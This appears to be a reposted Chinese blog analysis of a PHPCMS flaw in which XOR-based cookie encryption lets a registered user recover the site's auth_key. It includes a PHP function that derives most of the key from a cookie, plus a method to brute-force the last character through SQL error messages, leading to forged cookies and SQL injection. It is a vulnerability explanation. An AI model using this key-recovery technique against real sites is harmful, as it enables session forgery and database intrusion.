phpcms 使用sys_auth函数加解密cookie信息,系统中多个文件直接从cookie中获取变量进入程序流程。 由于sys_auth函数在设计和使用过程中存在缺陷,导致注册用户可以伪造cookie数据,触发SQL注入等多个二次攻击。 看sys_auth函数代码 //libs/functions/global.func.php function sys_auth($txt, $operation = 'ENCODE', $key = '') { $key = $key ? $key : pc_base::load_config('system', 'auth_key'); $txt = $operation == 'ENCODE' ? (string)$txt : base64_decode($txt); $len = strlen($key); $code = ''; for($i=0; $i<strlen($txt); $i++){ $k = $i % $len; $code .= $txt[$i] ^ $key[$k]; } $code = $operation == 'DECODE' ? $code : base64_encode($code); return $code; } 通过于$auth_key进行^运算达到加密的目的,$auth_key是系统安装时随机生成的一个长度为20的字符串。 要伪造cookie变量需要知道$auth_key,我们看看如何来获取。 注册用户登录过程 //phpcms/modules/member/index.php public function login() { …… param::set_cookie('auth', $phpcms_auth, $cookietime); param::set_cookie('_userid', $userid, $cookietime); param::set_cookie('_username', $username, $cookietime); param::set_cookie('_groupid', $groupid, $cookietime); param::set_cookie('_nickname', $nickname, $cookietime); param::set_cookie('cookietime', $_cookietime, $cookietime); …… //phpcms/libs/classes/param.class.php public static function set_cookie($var, $value = '', $time = 0) { $time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0); $s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0; $var = pc_base::load_config('system','cookie_pre').$var; $_COOKIE[$var] = $value; if (is_array($value)) { foreach($value as $k=>$v) { setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s); } } else { setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s); } } 明显可以看出,登陆的时候 $username通过sys_auth函数处理后赋值到了cookie。 好了,下面去注册一个用户名长度为19字符的(最长为20,但是需要有一个\0,所以实际上只能是19)用户。 登陆系统后获取cookie里面对应的值,就可以逆向推算出$auth_key的前19位。 逆推函数如下 function antisys_auth() { $txt = base64_decode(urldecode("你cookie里面的值")); $name = "你的用户名"; $len = 20; $key = ''; for($i=0; $i<strlen($txt); $i++){ $k = $i % $len; $key .= $txt[$i] ^ $name[$k]; } return $key; } $auth_key剩下的最后一位如何获取? 这个就很简单了,找到任意一个使用get_cookie()获取变量然后进入sql流程的地方, 利用phpcms的sql错误机制,可以很容易的判断暴力破解出最后一位。 public function halt($message = '', $sql = '') { $this->errormsg = "<b>MySQL Query : </b> $sql <br /><b> MySQL Error : </b>".$this->error()." <br /> <b>MySQL Errno : </b>".$this->errno()." <br /><b> Message : </b> $message <br /><a href='http://xxxx/?errno=".$this->errno()."&msg=".urlencode($this->error())."' target='_blank' style='color:red'>Need Help?</a>"; $msg = $this->errormsg; echo '<div style="font-size:12px;text-align:left; border:1px solid #9cc9e0; padding:1px 4px;color:#000000;font-family:Arial, Helvetica,sans-serif;"><span>'.$msg.'</span></div>'; exit; }

转载于:https://www.cnblogs.com/mrjim/archive/2011/09/13/4475268.html

PHPCMS V9爆出多个SQL注入漏洞相关推荐

  1. php cms 代码注入,PHPCMS全版本通杀SQL注入漏洞

    漏洞分析 首先看下面的代码 /phpcms/modules/member/content.php 202行 edit函数 [php] public function edit() { $_userna ...

  2. 【漏洞复现】泛微OA E-Cology V9 browser.jsp SQL注入漏洞复现及利用(CNVD-2023-12632)

    文章目录 前言 声明 一.产品介绍 二.漏洞描述 三.影响范围 四.漏洞分析 五.漏洞复现 六.SQLMAP漏洞利用 七.修复方案 前言 泛微E-Cology v9 Browser.jsp 存在SQL ...

  3. phpcms set inc.php,phpcms V9 sql注入漏洞测试

    phpcms V9 版本存在SQL注入漏洞,漏洞复现如下 0x00 以GET方式访问如下链接,得到返回包里mvbpqw_siteid值: http://127.0.0.1/index.php?m=wa ...

  4. 漏洞复现 泛微OA E-Cology V9 browser.jsp SQL注入漏洞

    漏洞复现 泛微OA E-Cology V9 browser.jsp SQL注入漏洞 漏洞描述 泛微新一代移动办公平台e-cology不仅组织提供了一体化的协同工作平台,将组织事务逐渐实现全程电子化,改 ...

  5. ref:ThinkPHP Builder.php SQL注入漏洞(= 3.2.3)

    ThinkPHP Builder.php SQL注入漏洞(<= 3.2.3) ref:https://www.jianshu.com/p/18d06277161e TimeSHU 2018.04 ...

  6. Drupal < 7.32 “Drupalgeddon” SQL注入漏洞(CVE-2014-3704)漏洞复现

    Drupal < 7.32 "Drupalgeddon" SQL注入漏洞 by ADummy 0x00利用路线 ​ Burpsuite抓包改包->信息被爆出 0x01漏 ...

  7. 从一个Laravel SQL注入漏洞开始的Bug Bounty之旅

    事先声明:本次测试过程完全处于本地或授权环境,仅供学习与参考,不存在未授权测试过程.本文提到的漏洞<Cachet SQL注入漏洞(CVE-2021-39165)>已经修复,也请读者勿使用该 ...

  8. Laravel 存在SQL注入漏洞

    Laravel 存在SQL注入漏洞 漏洞描述: 该漏洞存在于Laravel的表单验证功能,漏洞函数为ignore(),漏洞文件位于/vendor/laravel/ramework/src/Illumi ...

  9. 对搜狐 网易和TOM三大门户网站的SQL注入漏洞检测

    分享一下我老师大神的人工智能教程!零基础,通俗易懂!http://blog.csdn.net/jiangjunshow 也欢迎大家转载本篇文章.分享知识,造福人民,实现我们中华民族伟大复兴! 对搜狐. ...

最新文章

  1. 5G 信令流程 — 5GC 的会话管理(SM,Session Management)
  2. SPICE:过程改进的又一种选择
  3. Netty之Channel的继承关系
  4. python 操作系统学习_操作系统学习
  5. win32获取当前运行程序的内存地址_一个lock锁,就可以分出程序员对问题处置方式水平的高中低...
  6. linux buffer/cache手动释放
  7. 公司周刊-非常6+1—营销平台小组
  8. 串口通信程序中十六进制格式发送和接收实现
  9. java实战项目案例-附带视频教学
  10. android控制灯编程,远程控制智能灯(android)
  11. FreeImage使用
  12. 面向图形可扩展矢量图形规范:SVG
  13. 【渝粤题库】广东开放大学 招投标与合同管理 形成性考核
  14. MapReduce模型、大数据与数据挖掘、云计算的关系
  15. TCP/IP重传超时--RTO - SRTT (Smoothed Round Trip Time)
  16. Oracle 11g中文繁体特殊乱码问题解决
  17. freeCAD学习笔记二:复制与放置多个相似的实体
  18. 论文笔记High-Resolution Image Synthesis with Latent Diffusion Models
  19. 路由控制——ACL、IP-Prefix List
  20. 【Matlab代码】显示多幅图像

热门文章

  1. mysql 磁盘组_有效管理 ASM 磁盘组空间
  2. java 命令行 编译 jar文件_用命令行编译java并生成可执行的jar包
  3. pythonjson实例_python:JSON的两种常用编解码方式实例解析
  4. 为啥用redis解决会话呢?
  5. 算法(22)-leetcode-剑指offer6
  6. 深度学习(10)-- Capsules Networks(CapsNet)
  7. 周志华《Machine Learning》 学习笔记系列(1)--绪论
  8. IPFS的文件存储模式
  9. Python学习12 文件的读写
  10. 路由器和交换机的区别详解